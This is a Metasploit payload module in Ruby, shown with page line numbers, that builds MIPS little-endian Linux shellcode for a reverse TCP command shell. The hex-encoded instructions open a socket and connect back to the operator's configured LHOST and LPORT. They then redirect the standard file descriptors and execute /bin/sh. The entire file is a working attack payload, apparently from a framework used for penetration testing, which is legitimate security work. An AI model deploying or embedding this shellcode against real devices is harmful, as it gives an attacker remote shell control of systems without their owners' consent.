Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 184
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Linux
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Linux Command Shell, Reverse TCP Inline',
18
      'Description'   => 'Connect back to attacker and spawn a command shell',
19
      'Author'        =>
20
        [
21
          'rigan <imrigan[at]gmail.com>', # Original (mipsbe) shellcode
22
          'juan vazquez' # Metasploit module
23
        ],
24
      'License'       => MSF_LICENSE,
25
      'Platform'      => 'linux',
26
      'Arch'          => ARCH_MIPSLE,
27
      'Handler'       => Msf::Handler::ReverseTcp,
28
      'Session'       => Msf::Sessions::CommandShellUnix,
29
      'Payload'       =>
30
        {
31
          'Offsets' => { },
32
          'Payload' => ''
33
        })
34
    )
35
  end
36

37
  def generate(_opts = {})
38
    if( !datastore['LHOST'] or datastore['LHOST'].empty? )
39
      return super
40
    end
41

42
    host = Rex::Socket.addr_atoi(datastore['LHOST'])
43
    port = Integer(datastore['LPORT'])
44

45
    host = [host].pack("N").unpack("cccc")
46
    port = [port].pack("n").unpack("cc")
47

48
    shellcode =
49
      # sys_socket
50
      # a0: domain
51
      # a1: type
52
      # a2: protocol
53
      "\xfa\xff\x0f\x24" + # li t7,-6
54
      "\x27\x78\xe0\x01" + # nor t7,t7,zero
55
      "\xfd\xff\xe4\x21" + # addi a0,t7,-3
56
      "\xfd\xff\xe5\x21" + # addi a1,t7,-3
57
      "\xff\xff\x06\x28" + # slti a2,zero,-1
58
      "\x57\x10\x02\x24" + # li v0,4183 # sys_socket
59
      "\x0c\x01\x01\x01" + # syscall 0x40404
60

61
      # sys_connect
62
      # a0: sockfd (stored on the stack)
63
      # a1: addr (data stored on the stack)
64
      # a2: addrlen
65
      "\xff\xff\xa2\xaf" + # sw v0,-1(sp)
66
      "\xff\xff\xa4\x8f" + # lw a0,-1(sp)
67
      "\xfd\xff\x0f\x34" + # li t7,0xfffd
68
      "\x27\x78\xe0\x01" + # nor t7,t7,zero
69
      "\xe2\xff\xaf\xaf" + # sw t7,-30(sp)
70
      port.pack("C2") + "\x0e\x3c" + # lui t6,0x1f90
71
      port.pack("C2") + "\xce\x35" + # ori t6,t6,0x1f90
72
      "\xe4\xff\xae\xaf" + # sw t6,-28(sp)
73
      host[2..3].pack("C2") + "\x0e\x3c" + # lui t6,0x7f01
74
      host[0..1].pack("C2") + "\xce\x35" + # ori t6,t6,0x101
75
      "\xe6\xff\xae\xaf" + # sw t6,-26(sp)
76
      "\xe2\xff\xa5\x27" + # addiu a1,sp,-30
77
      "\xef\xff\x0c\x24" + # li t4,-17
78
      "\x27\x30\x80\x01" + # nor a2,t4,zero
79
      "\x4a\x10\x02\x24" + # li v0,4170  # sys_connect
80
      "\x0c\x01\x01\x01" + # syscall 0x40404
81

82
      # sys_dup2
83
      # a0: oldfd (socket)
84
      # a1: newfd (0, 1, 2)
85
      "\xfd\xff\x11\x24" + # li s1,-3
86
      "\x27\x88\x20\x02" + # nor s1,s1,zero
87
      "\xff\xff\xa4\x8f" + # lw a0,-1(sp)
88
      "\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
89
      "\xdf\x0f\x02\x24" + # li v0,4063 # sys_dup2
90
      "\x0c\x01\x01\x01" + # syscall 0x40404
91
      "\xff\xff\x10\x24" + # li s0,-1
92
      "\xff\xff\x31\x22" + # addi s1,s1,-1
93
      "\xfa\xff\x30\x16" + # bne s1,s0,68 <dup2_loop>
94

95
      # sys_execve
96
      # a0: filename (stored on the stack) "//bin/sh"
97
      # a1: argv "//bin/sh"
98
      # a2: envp (null)
99
      "\xff\xff\x06\x28" + # slti a2,zero,-1
100
      "\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
101
      "\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
102
      "\xec\xff\xaf\xaf" + # sw t7,-20(sp)
103
      "\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
104
      "\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
105
      "\xf0\xff\xae\xaf" + # sw t6,-16(sp)
106
      "\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
107
      "\xec\xff\xa4\x27" + # addiu a0,sp,-20
108
      "\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
109
      "\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
110
      "\xf8\xff\xa5\x27" + # addiu a1,sp,-8
111
      "\xab\x0f\x02\x24" + # li v0,4011 # sys_execve
112
      "\x0c\x01\x01\x01"  # syscall 0x40404
113

114
    return super + shellcode
115
  end
116
end
117

118